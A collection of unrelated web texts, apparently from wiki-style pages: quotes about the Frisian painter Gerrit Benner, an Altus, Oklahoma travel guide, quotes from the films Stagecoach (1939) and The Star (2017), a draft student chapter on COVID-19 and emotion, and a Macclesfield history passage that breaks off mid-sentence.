gevoel der vereenzelviging van mens en natuur is de basis van zijn levens- en kunstgevoel. Wanneer hij spreekt over de wereld die hem omgeeft, gebruikt de schilder woorden als ‘wonderlijke wereld’. Hij schildert in een coloriet van bewogen simpelheid; zijn kleuren, vooral primair, zijn van een grote puurheid. Zijn vereenvoudiging van de natuur is echter geen abstractie, de vormen van beesten en landschap zijn nooit geheel losgelaten.. Quote of H.L.C. Jaffé, in: 'Gerrit Benner', Quadrum 1. 1956, p. 127-131 After a long trip hitchhiking with Corneille to Friesland, where we came for the first time after the war [in 1946] we met Gerrit [Benner], a born painter with a Nordic fabulous side in his work. We were received by the Frisian stove with fragrant coffee and I gazed over the meadows with abstract cows, what were his paintings. We immediately called each other by the right name, also later when we met and said: 'Hey old robber, how are you?' (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Karel Appel over Gerrit Benner, in het Nederlands:) Na een lange lifttocht met Corneille naar Friesland – waar we na de oorlog voor 't eerst kwamen (1946) – leerden we Gerrit kennen, een rasschilder met een noordse fabelachtige kant in zijn werk. We werden bij de Friese potkachel ontvangen met geurige koffie en ik tuurde over de weilanden met abstracte koeien wat zijn schilderijen waren. We noemden elkaar meteen bij de juiste naam, ook later als we elkaar tegenkwamen en zeiden: 'hee ouwe rover, hoe gaat het?' Quote of Karel Appel (1971), in Gerrit Benner, werken uit de periode 1944-1948, ed. Erik Slagter; exhibition-catalog of Stedelijk Museum, Amsterdam; De Drijvende Dobber, Franeker (1991), p. 19; as cited by Susan van den Berg in 'Benner en Bregman', website 'de Moanne', 1 Sept. 2008, note iii Gerrit Benner used for some years (since 1956) Karel Appel's studio in Amsterdam, who was his friend and admirer as well. In 1971 Appel wrote in the catalog for the Benner-exhibition in the Stedelijk Museum in Amsterdam for 'Gerrit, an old friend' We didn't really appreciated him. We found him an imitator [early 1960's]. All those little horses of him, they were just the horses of Hendrik Werkman. Not until he started to make those large colorful paintings with skies, he became an original artist. (translation from Dutch: Fons Heijnsbroek, 2018) version in original Dutch (citaat van Karel Appel over Gerrit Benner, in het Nederlands:) We vonden hem eigenlijk maar niks. We vonden hem een naäper [vroege jaren 1906, in Friesland]. Al die paardjes van hem dat waren gewoon de paardjes van nl:Hendrik Werkman. Pas later, toen hij begon met de grote kleurige stukken met luchten werd hij origineel. Quote of Wim van der Veer (an artist, also born in Leeuwarden); as cited in 'Gerrit Benner geboeid door Friese wolkenluchten', Sytse Singelsma, 4 March 2015 Gerrit Benner appreciated the works of Hendrik Werkman very much in the 1930-40's Impression of the Benner exhibitions in museum Belvédère, Oranjewoud and in the Fries Museum, Leeuwarden, 2015 - with a lot of images of the painting art of Gerrit Benner biographic information of the RKD, only in Dutch language
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Altus is in the Great Plains Country region of southwest Oklahoma and is a military town with the presence of Altus Air Force Base nearby. In the beginning, it served as a trading post for the Great Western Cattle Trail. Museum of the Western Prairie, 1100 Memorial Dr, ☏ +1 580-482-1044. Little whips and buggies and things. $7 adults, $5 child/senior. 34.6382-99.26861 Great Western Cattle Trail (on US Hwy 62 a few miles east of Altus, on north side). A marker commemorating the Great Western Cattle Trail, which stretched from the southern tip of Texas to Ogallala prior to the opening of the land to settlement. You can also observe planes doing maneuvers from the base nearby here. (updated Dec 2021) You can take a walk around 34.6538-99.32981 Altus Lake (Reservoir). Granted it's not one of Oklahoma's top ten or anything in terms of attractions, but a road circumnavigates the body of water the entire way, which makes for a relatively peaceful place to walk. Val's. Great shrimp quesadillas. Give 'em a try. The pulled pork sandwich is amazing. Salt Fork Drafthouse, 2101 E Broadway St, ☏ +1 580-301-6634. Lagers and stouts and lots of deep fried foods to enjoy. Trader Toms. Down the street from Scooter's. Microtel Inn, 3210 North Main, ☏ +1 580 379-9400. Free Local and Long Distance. Quartz Mountain Resort Arts and Craft Center (17 miles north of Altus in the Wichita Mountains of southwestern Oklahoma near the Texas border).
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Stagecoach is a 1939 film about a group of people traveling on a stagecoach who find their journey complicated by the threat of Geronimo and learn something about each other in the process. it gay Directed by John Ford. Written by Dudley Nichols and Ben Hecht, based on a short story by Ernest Haycox. A Powerful Story of 9 Strange People! taglines Well, there are some things a man just can't run away from. Well, I guess you can't break out of prison and into society in the same week. I can't get over the impertinence of that young lieutenant. I'll make it warm for that shave-tail! I'll report him to Washington. We pay taxes to the government and what do we get? Not even protection from the Army! I don't know what the government is coming to. Instead of protecting businessmen, it pokes its nose into business. Hmm. Why, they're even talking now about having bank examiners. As if we bankers don't know how to run our own banks. Why Boone, I actually have a letter from a popinjay official saying they were going to inspect my books. I have a slogan that should be emblazoned on every newspaper in the country. 'America for Americans.' The government must not interfere with business! Reduce taxes! Our national debt is something shocking! Over one billion dollars a year! What this country needs is a businessman for President. Marshal Curly Wilcox: Come busting in here - you'd think we were being attacked! You can find another wife. Chris: Sure I can find another wife. But she take my rifle and my horse. Oh, I'll never sell her. I love her so much. I beat her with a whip and she never get tired. Dr. Josiah Boone: Your wife? Chris: No, my horse. I can find another wife easy, yes, but not a horse like that! Dr. Josiah Boone: Jerry, I'll admit as one man to another that, economically, I haven't been of much value to you. But do you suppose you could put one on credit? Jerry (bartender): If talk was money, Doc, you'd be the best customer I got. Buck: If I was you, I'd let them shoot it out. Marshal Curly Wilcox: Let who? Buck: Luke Plummer and the Kid. There would be a lot more peace in this territory if that Luke Plummer had so many holes in him he couldn't hold his liquor. Ed (editor): McCoy! Billy, kill that story about the Republican Convention in Chicago and take this down: "The Ringo Kid was killed on Main Street in Lordsburg tonight. And among the additional dead were..." Leave that blank for a spell. McCoy, typesetter: I didn't hear any shootin', Ed. Ed (editor): You will, Billy, you will. Dallas: Haven't I any right to live? Dr. Josiah Boone: We're the victims of a foul disease called social prejudice, my child. These dear ladies of the Law and Order League are scouring out the dregs of the town. Come on. Be a proud, glorified dreg like me. [voting on whether to continue without a cavalry escort] Marshal Curly Wilcox: You, Doc? Dr. Josiah Boone: I'm not only a philosopher, sir, I'm a fatalist. Somewhere, sometime, there may be the right bullet or the wrong bottle waiting for Josiah Boone. Why worry when or where? Marshal Curly Wilcox: Yes or no? Dr. Josiah Boone: Having that philosophy, sir, I've always courted danger. During the late war - when I had the honor to serve the Union under our great president, Abraham Lincoln... and General Phil Sheridan - well, sir, I fought mid shot and shell and cannon roar... Marshal Curly Wilcox: Do you wanna go back or not? Dr. Josiah Boone: No! I want another drink. [voting on whether to continue without a cavalry escort] Marshal Curly Wilcox: How 'bout you, Mr. Hancock? Samuel Peacock: Peacock. I'd like to go on, brother. I want to reach the bosom of my dear family in Kansas City, Kansas as quickly as possible; but, I may never reach that bosom if we go on... so, under the circumstances - you understand, brother - I think it best we go back with the bosoms... I mean the soldiers. Ringo Kid: Look, Miss Dallas. You got no folks... neither have I. And, well, maybe I'm takin' a lot for granted, but... I watched you with that baby - that other woman's baby. You looked... well, well I still got a ranch across the border. There's a nice place - a real nice place... trees... grass... water. There's a cabin half built. A man could live there... and a woman. Will you go? Dallas: But you don't know me - you don't know who I am. Ringo Kid: I know all I wanna know. Will you go? Dallas: Oh, don't talk like that! A Powerful Story of 9 Strange People! Danger holds the reins as the devil cracks the whip! Desperate men! Frontier women! Rising above their pasts in a West corrupted by violence and gun-fire! Thrills! Thrills! Thrills! See - The Apache Attack! Charge of the Cavalry! Fight to the Death On the Last Frontier of Wickedness! Claire Trevor - Dallas John Wayne - The Ringo Kid Andy Devine - Buck John Carradine - Hatfield Thomas Mitchell - Doc Boone Louise Platt - Lucy Mallory George Bancroft - Marshal Curly Wilcox Donald Meek - Samuel Peacock Berton Churchill - Henry Gatewood Tim Holt - Lieutenant Blanchard Tom Tyler - Luke Plummer Wikipedia has an article about: Stagecoach (1939 film) Stagecoach quotes at the Internet Movie Database Stagecoach at Rotten Tomatoes
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COVID-19 pandemic impacts on emotion: How has the COVID-19 pandemic impacted on human emotion? The focus of this book chapter is to understand how psychological theories of emotion can help explain how the COVID-19 pandemic impacted on human emotions. The COVID-19 preventative measures enacted to slow transmission and protect populations included a total upheaval of daily life. People had to quickly adjust to a new normal; social activities moved [missing something?] online formats, and social distancing, mask-wearing, and quarantine became the new social norm. The COVID-19 pandemic changed how humans communicated and connected with one another, and these changes have significantly impacted the lives and emotions of millions worldwide. Emotional states occur due to a combination of three components; physiological arousal, psychological assessment, and subjective experiences (Spielman et al., 2014). These components are influenced by background, culture, and personal experiences. Emotions serve an evolutionary function as a rapid system of processes that coordinate an organised response to stimuli through perception, attention, learning, memory, motivational and goal priorities, physiological reactions, and behavioural decision making (Tooby & Cosmides, 2008). This section explores the main theories of emotions (see Figure 1) which are categorised into three domains: Physiological theories (James-Lange Theory of Emotion, Cannon-Bard Theory of Emotion) Neurological theories (Facial-Feedback Theory of Emotion) Cognitive theories (Schachter-Singer Two-Factor Theory, Cognitive Appraisal Theory) The James-Lange theory of emotion proposes that external stimuli cause the sympathetic nervous system to respond with a physiological response, which causes an individual to have an emotional experience (Cannon, 1927). This theory was popular around its conception but has faced criticism due to the non-discriminatory nature of physiological arousal which does not successfully differentiate individual emotions and arguments that physiological arousal accounts for a small portion of emotional experience (Cannon, 1927). The Cannon-Bard theory of emotion was developed to address valid criticisms of the James-Lange theory (Cannon, 1927). This theory proposes that physiological changes and emotions occur simultaneously and independently, as opposed to one before the other (Dror, 2014). This theory supports neurobiological research which suggests that sensed information is sent to the dorsal thalamus and amygdala simultaneously causing physiological arousal and emotional response. The Facial-Feedback theory of emotion hypothesises that facial expressions are critical in the subjective experience of emotion (Söderkvist et al., 2018). This theory is divided into two domains; initiating function which suggests that facial expression can produce an emotional experience without any emotional stimulus, and modulating function, which describes the use of an emotional stimuli to investigate the effect of manipulated facial muscles on subjective emotional experience (Söderkvist et al., 2018). The two-factor theory of emotion was proposed by Stanley Schachter and Jerome E. Singerand, and incorporates reasoning into emotional processing (Schachter & Singer, 1962). The theory posits that emotional experiences are determined by arousal and cognition. The intensity of arousal, in addition to the cognitive appraisal we connect to the stimulus or situation, will determine what emotion is evoked (Schachter & Singer, 1962). The cognitive appraisal theory of emotion was born out of research by Magda Arnold and Richard Lazarus, who posited that our emotions come from our appraisals of situations (Lazarus, 1982). An individual cognitively appraises a situation, then experiences a physiological and emotional response simultaneously (Lazarus, 1982). This theory differs from physiological and neurological theories as it considers why individuals have different evaluating perceptions and emotional responses when faced with similar situations. Lazarus advanced cognitive appraisal theory by developing the transactional model of stress (see Figure 2.) which utilises cognitive appraisal to argue that stressful experiences are based on an individual’s primary and secondary appraisal of the event (Berjot & Gillet, 2011). Cognitive appraisal theory is most relevant to the COVID-19 pandemic as our emotional response is dependant on how we appraise stressful situations. [Provide more detail] Fear is a basic human emotion that is triggered in response to a perceived threat (Schimmenti et al., 2020). The COVID-19 pandemic triggers fear-based threats across four interconnected domains; bodily, interpersonal, behavioural, and cognitive domains (Schimmenti et al., 2020). Bodily domain refers to “fear of the body” and “fear for the body”, two interrelating concepts whose focus may continuously shift. Fear of the body encapsulates a sense of physical vulnerability, where the body is seen as a potential source of danger which we can no longer trust, whilst fear for the body captures our innate desire for protection and survival (see Figure 3) (Schimmenti et al., 2020). During a pandemic, we could unknowingly be carrying the virus, we are surrounded by individuals who may or may not pose a transmissible threat, and we fear accidentally passing the virus on to loved ones (Schimmenti et al., 2020). This relates to the interpersonal domain which refers to "fear of significant others" and "fear for significant others". The pandemic has changed the way we perceive interpersonal relationships. Transitioning from a source of emotional safety and protection to a potential threat to health, the interpersonal domain encompasses "fear of infection from loved ones" and "fear of infecting loved ones" (Schimmenti et al., 2020). The cognitive domain refers to "fear of not knowing" and "fear of knowing" (Schimmenti et al., 2020). This pertains to the lack of definitive knowledge about the virus, especially early on when little was known about aetiology and treatment. Lack of knowledge creates a sense of uncertainty, and as more was discovered, individuals had to balance the necessity for survival-promoting information versus fear-provoking information and misinformation (Schimmenti et al., 2020). All three previous domains impact behavioural consequences of fear during the pandemic. Fear of behavioural action or inaction can leave individuals paralysed between the innate desire to act when exposed to danger, and fear of doing the wrong thing (Schimmenti et al., 2020). Furthermore, the impact of isolation and protective measures disrupted economic and social systems resulting in additional fears, including: Fear of losing income and accommodation Fear of poverty, debt, and being unable to support self and family Fear of mental health impact Fear of healthcare systems being unable to manage crisis Fear for the future Grief is an emotion characterised as a normal response to traumatic loss and can be triggered immediately following a crisis, or as a delayed, exaggerated, or absent process (Anderson, 2010). The intensity of grief is highly dependent on the nature of the relationship between the person experiencing the emotion, and what is lost. During the COVID-19 pandemic, global populations collectively experienced loss, whether it be loss of a loved one, loss of employment and financial security, loss of celebrating milestones and events, or loss of routine, normalcy, or physical connectedness (Anderson, 2010). Research by Bertucci & Runion (2020), describes three frameworks for loss; ambiguous loss, anticipatory loss, and complicated grief. Ambiguous loss is characterised by uncertainty and lack of closure and, in the context of the pandemic, can occur when there is psychological presence with physical absence (Bertuccio & Runion, 2020). This loss encapsulates the uncertainty and questioning that many still have about how the pandemic will affect their life. Ambiguous loss is perhaps the most challenging form of loss, due to the degree of uncertainty for the future, and lack of closure. Questioning if, when, and how we will get back to ‘normal’ life takes a psychological toll due to lack of resolution. Anticipatory grief is characterised as dreading future losses. As more information comes to light regarding the future management of COVID-19 in communities, people start to question the [say what?] if they or their loved ones will inevitably contract the virus and experience significant illness or death. Similarly, people anticipate future losses involving milestones and events such as graduations, weddings, or the birth of children and grandchildren. Complicated grief is characterised as persistent, intense, and consuming, and can occur when there are unchangeable circumstances compounding the loss (Bertuccio & Runion, 2020). The complex nature of the pandemic means that natural rituals associated with grief and mourning were disrupted. Many families are unable to attend funerals to mourn the collective loss or say goodbye. In complicated grief, individuals experience severe and dysfunction symptoms including loneliness, shock, denial, mistrust, anger and rumination, symptoms which mimic anxiety or depression symptomatology, but it differs due to its direct association with loss (Bertuccio & Runion, 2020). Anger is a heightened emotional state associated with a strong, non-cooperative emotional response to perceived provocation or threat (Alia-Klein et al., 2020). Anger is a normal emotion for humans to express when faced with a threat and has served as a survival mechanism throughout evolution. Fear and anger are both triggered by threats, however, they differ in their appraisal depending on the attribution to threat source and perceived control (Erhardt et al., 2021). Fear-based responses occur when the source of threat is ambiguous and there is little perceived control, resulting in harm-avoidance behaviours (Erhardt et al., 2021). Anger occurs when there is a source that can be held accountable, resulting in behaviours to attribute blame and remove the source from the environment (Erhardt et al., 2021). Cognitive appraisal theory suggests that anger is highest when individuals have someone to blame, especially if the situation is considered controllable, and actions taken, ineffective (Erhardt et al., 2021). The fear that was felt at the start of the pandemic slowly transitioned to anger when people sought to blame the source of the threat. This resulted in anger centred around xenophobic anti-Chinese rhetoric, and anger and distrust towards government decisions surrounding restrictions of movements, social isolation, preventative measures, and lack of healthcare preparedness and resources (Erhardt et al., 2021; Reny & Barreto, 2020). Anger can fuel fight behaviour and rebellion in the form of protests and rejecting protective measures. Anger and conflict are associated with younger age, low-socioeconomic demographics, ethnic minorities and individuals experiencing significant financial hardship due to enacted COVID-19 measures (Smith et al., 2021). Loneliness is a negative emotion characterised by a perceived discrepancy between desired social interaction and actual social interaction (Dahlberg, 2021). Social interaction incorporates the quality, frequency, and duration of interactions with others (Dahlberg, 2021). The COVID-19 pandemic required vast numbers of the population to physically distance and socially isolate in attempts to minimise the risk of transmission. Loneliness is differentiated from social isolation, which is characterised by living alone, having little or infrequent social interactions and activities (Dahlberg, 2021). Social isolation is a risk factor for experiencing loneliness, and loneliness is correlated to poorer health outcomes, decreased cognitive functioning, lower quality of life, mental health symptomatology, and mortality (Dahlberg, 2021; Pai & Vella, 2021). There appears to be a general impression that the pandemic has had a disproportionate impact on young adults and the elderly, however, a rapid systematic review by Pia & Vella (2021) demonstrated mixed results between country demographics. All 24 studies showed a significant level of loneliness and associated poorer outcomes in adult populations, however, loneliness has been a known significant health issue across countries before the COVID-19 pandemic, and it is unclear if loneliness has increased specifically due to pandemic effects. Mental illness or health and resilience appeared to be more significant risk and protective factors for loneliness over demographic factors, such as age or gender (Pai & Vella, 2021). Nevertheless, the nature of preventative measures and isolation strategies enacted by governments worldwide reduced social interaction, and loneliness is a normal emotional response to this experience. Hopelessness is defined as negative self-view regarding one’s standing in the world and future and is typified as not having a solution for challenging problems (Franza et al., 2020). Hopelessness occurs when individuals experience a stressful, persistent and unpredictable event, which formulates negative expectations for the future, and a belief that nothing can be done to change the situation (Zuo et al., 2021). Feelings of hopelessness can prompt depressive symptoms, serious mental health problems and suicidal tendencies (Zuo et al., 2021). The COVID-19 pandemics[grammar?] persistent, unpredictable, and stressful nature impacted populations, however, literature regarding hopelessness focuses predominantly on healthcare workers (see Figure 4). Healthcare workers endure stressors including high emotional load, long shifts, exposure to trauma, and perceived obligation to continue work despite detrimental effects (Franza et al., 2020). The pandemic has exacerbated these conditions by increasing perception of risk, the requirement for extensive PPE, potential lack of resources and staff to meet health system needs, and requirement to socially isolate to minimise risk to family, which reduces social support (Franza et al., 2020). Perceived social support and finding meaning in life both serve as protective factors against hopelessness (Zuo et al., 2021). Resilience is defined as the capacity to successfully adapt emotional responses in the face of adversity, while maintaining normal psychological functioning (Wu et al., 2013). Gratitude is defined as a propensity towards appreciation for the positives in the world (Biber et al., 2020). Whilst unlikely emotional traits to arise from the COVID-19 pandemic, this period of crisis and confrontation with existential vulnerability has given many people the opportunity to reflect on current life, values, and future plans (Jans-Beken, 2021). Gratitude is shown to be negatively correlated with depression, stress, helplessness, and resilience and gratitude have been found to mitigate maladaptive coping mechanisms and promote healthy emotional functioning, coping mechanisms, and mental health. (Biber et al., 2020; Jans-Beken, 2021; Wu et al., 2013). An Italian study exploring positive and negative pandemic impacts found that positive experiences included “being part of an extraordinary experience” “discovering oneself”, “re-discovering family” and “sharing life at a distance”, while an Australian study found that the most common positive themes to arise from the pandemic included “family time”, “work flexibility’, and a “calmer life” (Cornell et al., 2021; Fioretti et al., 2020). Cognitive appraisal theory and the transactional model of stress discuss the experience of emotion being impacted by primary and secondary appraisals of a situation. A recent study exploring how to mitigate adverse experiences to the COVID-19 pandemic discusses the use of reappraisal in minimising negative emotions and increasing positive emotions (Wang et al., 2021). Increased levels of negative emotion and reduced levels of positive emotion have been associated with an increased risk of anxiety and depressive disorders, impaired social connections, compromised immune functioning, increased maladaptive eating behaviours, disturbed sleep, impaired learning and worse job performance (Wang et al., 2021). Reappraisal can be utilised as an emotional regulation strategy to modify how one thinks about a certain situation, with the core goal to change one’s emotional experience (Wang et al., 2021). There are two types of reappraisal; reconstrual, which involves changing how a situation was construed or mentally constructed, and repurposing, which involves focussing on a potentially positive outcome that could arise from the current situations in a way that alters the emotional response (Wang et al., 2021). By changing the way we appraise stressful experiences, individuals can reconstruct their emotional responses to focus on the positives in the situation. Meta-analyses have demonstrated that this simple, yet powerful, tool produces reliable effects and can help increase positive emotional experiences and reduce negative emotional experiences (Wang et al., 2021). Research also supports that physical activity, mindfulness, humour, and reducing social media use can assist emotional regulation during a pandemic. (Bernstein & McNally, 2018; Saricali et al., 2020; Shao et al., 2021). Emotion is an evolutionary process that is influenced by personal experiences, background, and culture, which allows us to respond to environmental stimuli. Core theories of emotion include James-Lange, Cannon-Bard, Facial-Feedback, Two-Factor, and Cognitive Appraisal theories. Cognitive Appraisal Theory is most relevant to the COVID-19 pandemic as an emotional response is dependant[spelling?] on how we appraise a situation. The pandemic is commonly appraised as a threat to safety and normalcy, which can induce feelings of fear and uncertainty, anger and frustration, grief and loss, loneliness, and hopelessness. However, existential threats to normalcy can also allow self-reflection processes that may induce positive emotions, such as resilience and gratitude. Psychological research suggests that physical activity, reducing social media consumption, mindfulness, humour, and reappraisal interventions, can modify the way we experience emotions, producing more effective emotional regulation during stressful events. COVID-19 and mental health (Book chapter, 2021) COVID-19 pandemic impacts on motivation and emotion (Book chapter, 2020) COVID-19 pandemic impacts on motivation (Book chapter, 2021) Anderson, H. (2010). Common grief, complex grieving. Pastoral Psychology, 59(2), 127–136. https://doi.org/10.1007/s11089-009-0243-5 Berjot, S., & Gillet, N. (2011). Stress and coping with discrimination and stigmatization. "Frontiers in Psychology", 2, 33. https://doi.org/10.3389/fpsyg.2011.00033 Bernstein, E. E., & McNally, R. J. (2018). Exercise as a buffer against difficulties with emotion regulation: a pathway to emotional wellbeing. Behaviour Research and Therapy, 109, 29–36. https://doi.org/10.1016/j.brat.2018.07.010 Bertuccio, R. F., & Runion, M. C. (2020). Considering grief in mental health outcomes of COVID-19. Psychological Trauma: Theory, Research, Practice, and Policy, 12(S1), S87. https://doi.org/10.1037/tra0000723 Biber, D. D., Melton, B., & Czech, D. R. (2020). The impact of COVID-19 on college anxiety, optimism, gratitude, and course satisfaction. Journal of American College Health, 0(0), 1–6. https://doi.org/10.1080/07448481.2020.1842424 Cannon, W. B. (1927). The James-Lange theory of emotions: a critical examination and an alternative theory. The American Journal of Psychology, 39(1/4), 106–124. https://doi.org/10.2307/1415404 Cornell, S., Nickel, B., Cvejic, E., Bonner, C., McCaffery, K. J., Ayre, J., Copp, T., Batcup, C., Isautier, J., Dakin, T., Dodd, R., & Judd, J. (2021). Positive outcomes associated with the COVID‐19 pandemic in Australia. Health Promotion Journal of Australia, 10.1002/hpja.494. https://doi.org/10.1002/hpja.494 Dahlberg, L. (2021). Loneliness during the COVID-19 pandemic. Aging & Mental Health, 25(7), 1161–1164. https://doi.org/10.1080/13607863.2021.1875195 Dewey, J. (1894). The theory of emotion: I: emotional attitudes. Psychological Review, 1(6), 553–569. https://doi.org/10.1037/h0069054 Dror, O. E. (2014). The Cannon-Bard thalamic theory of emotions: A brief genealogy and reappraisal. Emotion Review, 6(1), 13–20. https://doi.org/10.1177/1754073913494898 Erhardt, J., Freitag, M., Filsinger, M., & Wamsler, S. (2021). The emotional foundations of political support: how fear and anger affect trust in the government in times of the Covid-19 pandemic. Swiss Political Science Review, 27(2), 339–352. https://doi.org/10.1111/spsr.12462 Fioretti, C., Palladino, B. E., Nocentini, A., & Menesini, E. (2020). Positive and negative experiences of living in COVID-19 pandemic: analysis of Italian adolescents’ narratives. Frontiers in Psychology, 11, 3011. https://doi.org/10.3389/fpsyg.2020.599531 Franza, F., Basta, R., Pellegrino, F., Solomita, B., & Fasano, V. (2020). The role of fatigue of compassion, burnout and hopelessness in healthcare: experience in the time of COVID-19 outbreak. Psychiatria Danubina, 32, 10–14. Jans-Beken, L. (2021). A perspective on mature gratitude as a way of coping with COVID-19. Frontiers in Psychology, 12, 316. https://doi.org/10.3389/fpsyg.2021.632911 Lazarus, R. S. (1982). Thoughts on the relations between emotion and cognition. American Psychologist, 37(9), 1019–1024. https://doi.org/10.1037/0003-066X.37.9.1019 Pai, N., & Vella, S.-L. (2021). COVID-19 and loneliness: a rapid systematic review. Australian & New Zealand Journal of Psychiatry, 00048674211031489. https://doi.org/10.1177/00048674211031489 Reny, T. T., & Barreto, M. A. (2020). Xenophobia in the time of pandemic: othering, anti-Asian attitudes, and COVID-19. Politics, Groups, and Identities, 0(0), 1–24. https://doi.org/10.1080/21565503.2020.1769693 Saricali, M., Satici, S. A., Satici, B., Gocet-Tekin, E., & Griffiths, M. D. (2020). Fear of COVID-19, mindfulness, humor, and hopelessness: a multiple mediation analysis. International Journal of Mental Health and Addiction. https://doi.org/10.1007/s11469-020-00419-5 Schachter, S., & Singer, J. E. (1962). Cognitive, social, and physiological determinants of emotional state. Psychological Review, 69, 379–399. https://doi.org/10.1037/h0046234 Schimmenti, A., Billieux, J., & Starcevic, V. (2020). The four horsemen of fear: an integrated model of understanding fear experiences during the COVID-19 pandemic. Clinical Neuropsychiatry: Journal of Treatment Evaluation, 17(2), 41–45. Shao, R., Shi, Z., & Zhang, D. (2021). Social media and emotional burnout regulation during the COVID-19 pandemic: multilevel approach. Journal of Medical Internet Research, 23(3), e27015. https://doi.org/10.2196/27015 Smith, L., Purton, T., Auckland, S., Lees, D., & Mond, J. (2020). Local evaluation of the Tasmanian component of the National Suicide Prevention Trial—Preliminary learnings. Australian Journal of Rural Health, 28(2), 218–223. https://doi.org/10.1111/ajr.12620 Söderkvist, S., Ohlén, K., & Dimberg, U. (2018). How the experience of emotion is modulated by facial feedback. Journal of Nonverbal Behavior, 42(1), 129–151. https://doi.org/10.1007/s10919-017-0264-1 Spielman, R. M., Dumper, K., Jenkins, W., Lacombe, A., Lovett, M., & Perlmutter, M. (2014). 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The relationship of perceived social support to feelings of hopelessness under COVID-19 pandemic: the effects of epidemic risk and meaning in life. Personality and Individual Differences, 183, 111110. https://doi.org/10.1016/j.paid.2021.111110
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The Star is a 2017 American computer-animated Christian comedy film directed by Timothy Reckart. Based on the Nativity of Jesus, and off an original idea by Tom Sheridan, the screenplay was written by Carlos Kotkin and Simon Moore. It takes many tails to tell the greatest story ever. Taglines Donkey kick! Mary, you're in danger! You need to listen to what I'm about to say extremely carefully. [braying] [to Dave] You jump out and create a distraction. [to Thaddeus and Rufus] You wanna get to my friends, you're gonna have to get past me first. You lead the way, and wherever you go, your best friend, Dave, will be right behind you. Seriously? We're doing this? Wait a second, are they eating chicken? Ladies, run! I'm gonna go find someone to poop on. Sheep are usually good at following but I will do my best. Told ya it was important. Excellent climbing form, Bo! Be the wedge! The angel said that the child would be the new king! Ho! I am not a rat, I'm a pygmy jerboa. You've been telling your story to every critter in Galilee. Now it's our turn to hear it...from the beginning. Keep talking. But, Rufus, if we had eaten him, he would never had led us here. [to Bo] We've been meaning to thank you. Now, be a good little donkey and run along. You served your purpose. We have to try. [to Abby] Nice story, rat! Here's how it ends! [puts Abby in his mouth] The end. That's her scent. Now we just gotta figure out which way she went. Thaddeus, you think I'm bad at being bad? [growls] We should've eaten him the first time we met him. [sighs] We're bad dogs. Thaddeus, are we good dogs now? I expected a left turn two deserts ago. Hide, quickly. Okay, that was sinister. In most cultures, a king is set apart from the plebeians with an ornamental headdress. [to Felix] You had it right as well. It is a birthday party. Literally. It's the day of his birth. King Herod is up to something, and we are gonna find out what. I told you. They wear hats. You know, I think people are gonna remember this night. What happened here around this manger will celebrated for thousands of years. Families will come together and exchange presents and sing carols all to remember the grace of this moment that we are witnessing right now. These wise guys are lost. That's it! I'm biting through their reins. Deborah, are you okay? How many hooves am I holding up? They're coming for you, Your Majesty! Run for your life! Run like the wind! [to Cyrus] After all that, it is a baby shower. You were right the whole time. [to Thaddeus and Rufus] LOOK WITH YOUR EYES! There's a really realistic vision of a donkey who's talking to God and he won't stop eyeballing you! What? What's wrong with my eyes? I'm gonna chew him free. [with his tongue sticking out with splinters on it] I think I got a splinter in my tongue. They're not usually like this. You caught us at a bad time. No sleep at all since that giant night light turned on. Step aside. Great. Now we'll never sleep. We haven't slept in nine months. Sorry. So excited. [to Bo] Zach and Edith don't like the spotlight, but I think it's beautiful. It takes many tails to tell the greatest story ever. Steven Yeun as Bo Gina Rodriguez as Mary Zachary Levi as Joseph Keegan-Michael Key as Dave Kelly Clarkson as Leah Patricia Heaton as Edith Kristin Chenoweth as Abby Tracy Morgan as Felix Tyler Perry as Cyrus Oprah Winfrey as Deborah Aidy Bryant as Ruth Anthony Anderson as Zach Kris Kristofferson as Old Donkey Christopher Plummer as King Herod Ving Rhames as Thaddeus Gabriel Iglesias as Rufus Delilah as Elizabeth Mariah Carey as Rebecca Wikipedia has an article about: The Star (2017 film)
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Macclesfield is a market town in Cheshire. Macclesfield is located where the Cheshire plain gives way to the Peak District. It was first recorded under the name "Maclesfeld" in the Domesday Book of 1086. Its name is probably from a local landowner of the time. Two centuries later it was granted a charter. The Church of All Saints was built shortly afterwards, where St Michael's Church now stands in the centre of town. The Earls of Chester established the nearby Forest of Macclesfield, much larger than its present-day counterpart, as their private hunting preserve. Most of it was cut down after population increased in the mid-14th century. Throughout the Middle Ages it was fortified, probably by some sort of ditch and palisade. The names of streets such as Chestergate and Jordangate, contrary to popular belief, are unlikely to refer to the former presence of gates or portals in now-vanished walls; the term 'gate' is derived from 'gata', Scandinavian for road, which became gate in Middle English, and thus the term simply means to the road to Chester, or to the river Jordan, which was once a name for the Bollin. During the Civil War, in 1642 the town was occupied for the King by Sir Thomas Aston, a Royalist. A century later, during the Jacobite Uprising, Bonnie Prince Charlie marched through on his effort to reach London. Later in the 18th century Macclesfield, like much of that region of the country, began developing as a centre for textile manufacture. By the 1830s it was the world's biggest producer of finished silks; some of the 71 mills that were in operation are scattered around today's Macclesfield. Fashions changed, however, increasingly preferring French silk and the cottons coming out of Manchester to the north, and many of those mills closed down. So little industry was left in town that it was the only English mill town not bombed by the Germans during World War II. During the 19th century many Macclesfield silk-workers followed the lead of John Ryle in emigrating to the USA. Ryle settled in Paterson, New Jersey, establishing a silk industry there. Hundreds of workers followed him across the Atlantic, and the two towns were very closely linked for many years, with the Macclesfield press reporting news from Paterson and vice versa. A section of the Macclesfield Silk Museum is devoted to Paterson and silk items produced there. Macclesfield is also the original home of Hovis flour and bread, established in 1886 and produced by Thomas Fitton in a mill near Buxton Road next to the Macclesfield canal, which still stands today, now converted into apartments. The pharmaceuticals conglomerate Astra-Zeneca has a large manufacturing site in Macclesfield, though its research centre at nearby Alderley Edge was closed in 2014. The biotech and pharmaceutical industry is a significant source of local employment. Macclesfield regained some measure of international fame in the late 20th century as the home of members of the late 1970s rock band Joy Division, which evolved into popular 1980s dance band New Order after lead singer Ian Curtis hanged himself in his Barton Street home in 1980. Fans of Joy Division come to Macclesfield from all over the world, especially every 18 May, the anniversary of his death, to pay their respects at his grave marker in Macclesfield Cemetery. Control (2007), a film about Curtis's life and death based on his widow's memoirs, was filmed using many of the same Macclesfield locations in which he lived. This association with the depressing songs of a suicidal musician has not been the only thing Macclesfield has had to live down. In 2004 The Times called the town England's least cultured, due to its lack of theatres and other cultural institutions. That led the town to establish the Barnaby Festival in 2010, a modern take on ancient customs of celebrating St Barnabas's Day. (By local custom, “Barnaby Week” in June was when the mills closed and many of the townspeople went to the seaside in North Wales.) The performance-centred Winterfest in November and December has brought even more people to Macclesfield. So, if you come listening to Joy 